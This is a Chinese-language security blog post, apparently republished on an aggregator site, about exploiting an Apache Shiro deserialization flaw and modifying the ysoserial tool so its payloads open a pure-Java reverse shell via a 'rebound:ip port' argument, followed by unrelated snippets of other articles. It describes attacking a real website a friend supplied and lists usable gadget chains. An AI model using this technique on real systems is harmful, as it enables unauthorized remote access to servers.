sqlplus中调用shell_记一次突破反弹shell

这是 酒仙桥六号部队 的第 106 篇文章。

全文共计1809个字,预计阅读时长6分钟。

背景

某天闲着无聊,小伙伴发来一个某网站,说只能执行命令,不能反弹shell。

1a9b900861f51ad2d0a0fc94adffb74b.png

测试

对着目标站点一顿测试。

5f98b1e8a53d09c97498716059be1a29.png

53dff0c1e511dcd8916bcb903e4757d9.png

发现确实存在shiro反序列化,并且存在可以利用的gadget。

利用

b4f122b288208e53836bba67bd3cff6a.png

发现确实可以执行命令,但是我们执行反弹的时候。

052781c74572ba57aafead9b7a621889.png

反弹不回来,emmm。

查看各种系命令以及分析。

发现是一个精简的Linux,经常用于docker环境的搭建。

6f8c40e43ee304e8b314afe47dfee729.png

并没有bash环境。

d52b09de62ef4fa77e672cbf7c086470.png

使用sh命令反弹结果一样,之后尝试了各种反弹的方法,一言难尽。

所以我们需要一种新的反弹方法,利用java直接创建一个socket反弹。

ysoserial

ysoserial是一款在Github开源的知名java 反序列化利用工具,里面集合了各种java反序列化payload。

源码下载地址:

https://codeload.github.com/frohoff/ysoserial/zip/master

在很多java类的反序列化攻击场景中会利用到该工具。

例如:apache shiro反序列化,会使用ysoserial生成反序列化语句,再使用key加密,发送攻击payload。

如下python脚本,就是利用ysoserial生成反序列化语句,再用key加密生成cookie。

86336c19a7f5b7d6e3e54a0075a9b40e.png

目的

各种各样的反弹shell注入bash、sh、perl、nc、python等等,都比较依赖目标系统的环境和操作系统类型等等,如果可以直接利用java创建一个socket反弹shell则可以无需关心这些环境直接反弹shell。

ysoserial分析

在执行ysoserial的时候一般使用的命令是java -cp ysoserial.jar  /某个payload/ /命令/

打开源码分析对应的payload类执行过程,如CommonsCollections2。

94dc4b3fd7900e5355ed9564b725a00a.png

在执行该类的时候,运行payloadrunner类的run方法,来执行本类的class文件,再加上接收的参数,跟入payloadrunner类。

5f464f3216c58631da06a16436090662.png

这里会调用payload中的getObject方法传入要执行的命令,命令是接收的输入或者是getDefaultTestCmd(),也就是说我们如果不输入命令,他会执行以下默认命令。

Windows:calcMacOS:calculatorLinux:gnome-calculator\kclac

如果输入了命令会执行自定义命令,接下来会执行getObject方法()来生成payload,跟入对应类的getObject方法。

309d40658eb4d4307ead2f550bb4212a.png

getObject方法中,调用Gadgets类中的createTemplatesImpl方法生成临时的java字节码文件,跟入对应的方法。

21cf52154a405684c8cbf23f91c19e57.png

ysoserial改造

可以看到作者在命令获取处已经留下了注释。

待做:也可以做一些有趣的事情,比如注入一个纯JavaRev/BindShell来绕过幼稚的保护。

TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections

一般情况我们在ysoserial后面写的命令调用的是java.lang.Runtime.getRuntime().exec()方法来执行命令,写死了,此处我们可以进行改造。

在原来的代码基础上写成:

5db6f14bb3305c5562beb5403cf01043.png

这样我们再重新打包ysoserial文件再执行命令时使用如下格式。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "rebound:ip port"

可以直接获得一个反弹shell。

生成payload利用

23bb239b00342a3322f69b0fbc3a0afe.png

dee1e2f6698369a8cd45dd2cb11e70c8.png

发送。

81d6a7ccde885c6f2801b77470d33593.png

Bingo,得到一个反弹shell。

571091cbca05e9390cf0ee8ccee09e59.png

ysoserial改造总结

由于不是所有的payload在构造时都调用了Gadgets.createTemplatesImpl,所以只有以下几种适用于以上修改。

CommonsBeanutils1CommonsCollections2CommonsCollections3CommonsCollections4Hibernate1JavassistWeld1JBossInterceptors1Jdk7u21JSON1ROMESpring1Spring2Vaadin1

此方法不依赖于目标操作系统和组件,可以直接利用java创建反弹shell。

5c94500b92972d0089827aee603248ea.png

d6741d6db1ccfdd078ecee7eba4a15fd.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/563691.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

计算机专业简历推荐信范文,个人简历自我推荐信范文【三篇】

【导语】自我推荐信在个人简历中是一个比较重要的环节,一般自荐信简单抓住重点就行了。以下是无忧考网为大家精心搜集和整理的个人简历自我推荐信范文,希望大家喜欢!【篇一】尊敬的领导:您好!衷心感谢您能在百忙之中抽出宝贵的时间…

scrapy获取a标签的连接_Python爬虫 scrapy框架初探及实战!

Scrapy框架安装操作环境介绍操作系统:Ubuntu19.10Python版本:Python3.7.4编译器:pycharm社区版安装scrapy框架(linux系统下)安装scrapy框架最繁琐的地方在于要安装很多的依赖包,若缺少依赖包,则scrapy框架的安装就会报错。不过ana…

怎么用计算机计算年月份,如何使用Excel计算两个日期之间的月数?

一、这可以通过DATEDIF函数完成。二、 DATEDIF函数的定义DATEDIF函数是Excel中的隐藏函数,而不是帮助和插入公式中的隐藏函数。返回两个日期之间的年\月\日间隔的数量。 DATEDIF函数通常用于计算两个日期之间的时差。语法DATEDIF(开始日期,结束日期&…

卖金鱼的地方_1个水族店,5个周转箱,卖鲫鱼和泥鳅,老板对水族的热爱

大家好,欢迎来到一二水族。从北京回到邯郸老家,才让我有了大开眼界的感觉,为什么这么说呢?以前经常去大型观赏鱼市场,见到的都是高级海缸,大型草缸,或者雨林缸,一直陶醉在这样的氛围…

为什么计算机关机慢,电脑关机慢是什么原因 电脑关机慢的原因【图文】

使用过电脑的朋友都知道,在初期电脑关机是相当的快的,可是使用越久就会发现,电脑的关机速度减慢了许多,平时只需要30秒那样就可以关机了,到了最后居然要一分多钟关个电脑,为什么关机的时间变慢了呢?为什么…

mirna富集分析_经验之谈丨生信分析文章套路原来这么简单!

近两年,不做实验或者仅需要少量实验的生物信息学分析文章,发表量越来越多。如果利用数据库检索,高效的发出一篇文章。是科研工作者关注的话题,今天我们就用一篇生信分析的文章作为切入点,来谈谈生信分析文章的套路。1.…

计算机内存比外存容量大吗,内存容量一般比外存容量大吗

大家好,我是时间财富网智能客服时间君,上述问题将由我为大家进行解答。内存容量一般比外存容量大。计算机的内存容量通常是指随机存储器(RAM)的容量,是内存条的关键性参数。内存容量以MB作为单位,可以简写为M。内存的容量一般都是…

vscode的eslint无效_vscode配置eslint自动保存功能不生效

今天给一个项目添加eslint, 按照网上的教程,配置完就是不生效,半天没解决, 后来终于解决了, 在此总结,把一些坑分享出去。1. vscode 扩展中安装eslint2. eslint 扩展要是开启状态(开启关闭如果没生效,重启v…

计算机数日期,计算机如何计算两个日期之间的天数

计算机是如何计算两个日期之间的天数的,这个问题看起来好像很简单,但是仔细一想,好像还没那么简单,月与月之间天数不一样,平年和闰年也会影响天数。举个例子:2017年2月1日-2017年6月1日中间有多少天&#x…

a jquery 标签点击不跳转_form标签的action属性怎么用?form标签action属性的用法介绍(附实例)...

本篇文章主要的介绍了关于HTML中form标签action属性的用法介绍和实例,还有关于form标签的action属性的定义和语法介绍,最后徐还有关于form标签的action属性的作用解释。现在让我们一起来看吧。我们先来介绍HTML中form标签的action属性的含义:…

计算机屏幕亮度调到多少合适,电脑屏幕的亮度和对比度调到多少比较合适,对眼睛伤害最小?有哪位高手了解?...

选购液晶电视的八大关注事项:1、留意显示尺寸是否齐全:现在液晶电视的主流尺寸基本上都是27英寸、32英寸和37英寸,这些已经能够满足客厅以及卧室的观看需求,但这里要提醒一下,最好是购买产品线比较丰富的品牌&#xff…

后发送过慢的问题_点胶阀使用常见问题怎么解决

点胶阀是在点胶作业中必不可少的配件之一,在点胶过程中点胶阀遇到问题该怎么解决呢,今天阿莱思斯给大家进行分析。1.点胶阀无法停胶问题:a.点胶阀中转杆或密封装置磨损。b.点胶阀的供给气压无法打开2.点胶阀针头滴胶,主要是以下几…

dns备用服务器信息,dns服务器地址(dns首选和备用填多少)

dns服务器地址DNS是计算机域名体系(DomainNameSystem或DomainNameService)的缩写,它是由解析器以及域名服务器组成的。域名服务器是指保存有该网络中所有主机的域名和对应IP地址,并具有将域名转换为IP地址功用的服务器。其中域名有必要对应一个IP地址&am…

接口传值后不起作用_前端工程师吐后端工程师(第八讲)——接口的开发

上一讲我们介绍了如何写让模板变量在页面上展示,本讲我们介绍一下后端开发工作中最常用的功能——接口。创建一个go_test4文件夹,然后把go_test3中的代码复制进去。然后打开main.go文件,进行更改。说到接口就必不可少的涉及到传值和接口返回&…

css选择器按功能分,CSS 选择器

概览在 CSS 中,选择器用于选择需要添加样式的元素。CSS 选择器非常丰富,现将 CSS 1 - 3 目前所有的选择器列举如下。选择器例子例子描述CSS版本.class.intro选择 class"intro" 的所有元素。1#id#firstname选择 id"firstname" 的元素…

tensor数据类型转换_PyTorch的tensor数据类型及其相关转换

1 基本类型PyTorch的数据类型为各式各样的tensor,tensor可以理解为高维矩阵,与Numpy中的array类似。PyTorch中的tensor包括CPU上的数据类型和GPU上的数据类型。Torch定义了七种CPU tensor类型和八种GPU tensor类型。通过使用type函数可以查看变量类型&am…

cli3解决 ie11语法错误 vue_【VUE3.0】它来了,2020年09月18日,Vue.js 3.0 正式发布,但是........

您曾见过凌晨的苹果发布会,那前端界的发布会你见过吗?在Vue3正式发布前,Vue的作者尤雨溪发表主题演讲。注意!注意!注意!发布会中表示不建议大家立刻升级到Vue3.0版本,之前项目中某些依赖项可能还…

贪婪洞窟2服务器维护,《贪婪洞窟2》11月30日更新维护多久 贪婪洞窟2更新维护公告...

原标题:《贪婪洞窟2》11月30日更新维护多久 贪婪洞窟2更新维护公告斗玩网(d.chinaz.com)报道:《贪婪洞窟2》 11 月 30 日更新维护多久?一起来看看贪婪洞窟2 11月30日更新维护公告。贪婪洞窟2在11月30日早上时间对游戏全服进行的停机维护导致许多玩家在早…

centos修改磁盘uuid_为什么MySQL用uuid做主键会被骂?

“ 在 MySQL 中设计表的时候,MySQL 官方推荐不要使用 uuid 或者不连续不重复的雪花 id(long 形且唯一,单机递增),而是推荐连续自增的主键 id,官方的推荐是 auto_increment。那么为什么不建议采用 uuid,使用 uuid 究竟有…

从客户端登陆服务器的配置文件,BLE模式和配置文件

BLE模式和配置文件(原文)本文档探讨了BLE如何工作,特别是如何将两种BLE模式(连接和广告)用于不同的目的。外围设备和中央设备vs服务器和客户端当我们通过BLE连接设备时,我们将它们视为外设(从设备)设备或中央(主设备)设备。 蓝牙标准建立了该区分方式以匹…